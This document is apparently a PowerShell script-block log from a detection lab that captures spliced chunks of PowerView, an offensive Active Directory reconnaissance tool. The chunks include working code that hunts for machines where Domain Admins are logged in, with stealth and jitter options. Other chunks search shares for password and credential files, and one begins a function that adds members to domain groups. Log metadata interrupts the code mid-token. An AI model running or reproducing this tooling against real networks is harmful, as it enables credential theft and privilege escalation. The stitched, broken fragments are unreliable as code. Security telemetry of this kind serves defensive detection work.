[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Membeed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1
4104132150x0188645Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3443er than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER ExcludeFolders
Switch. Exclude folders from the search results.
.PARAMETER ExcludeHidden
Switch. Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Switch. Only returns files the current user has write access to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
to connect to remote systems for file enumeration.
.EXAMPLE
Find-InterestingFile -Path "C:\Backup\"
Returns any files on the local path C:\Backup\ that have the default
search term set in the title.
.EXAMPLE
Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {
# find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
$MappedComputers = @{}
function Test-Write {
# short helper to check is the current user can write to a file
[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {
# check if we're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose "Excluding: $($_.FullName)"
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
ed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1
4104132150x0188635Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2443eSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
$Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2)
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted')
$Output
}
}
else {
Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Add-DomainGroupMember {
<#
.SYNOPSIS
Adds a domain user (or group) to an existing domain group, assuming
appropriate permissions to do so.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified -GroupIdentity,
which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
each entry in -Members, each member identity is similarly searched for and added
to the group.
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to add members to.
.PARAMETER Members
One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
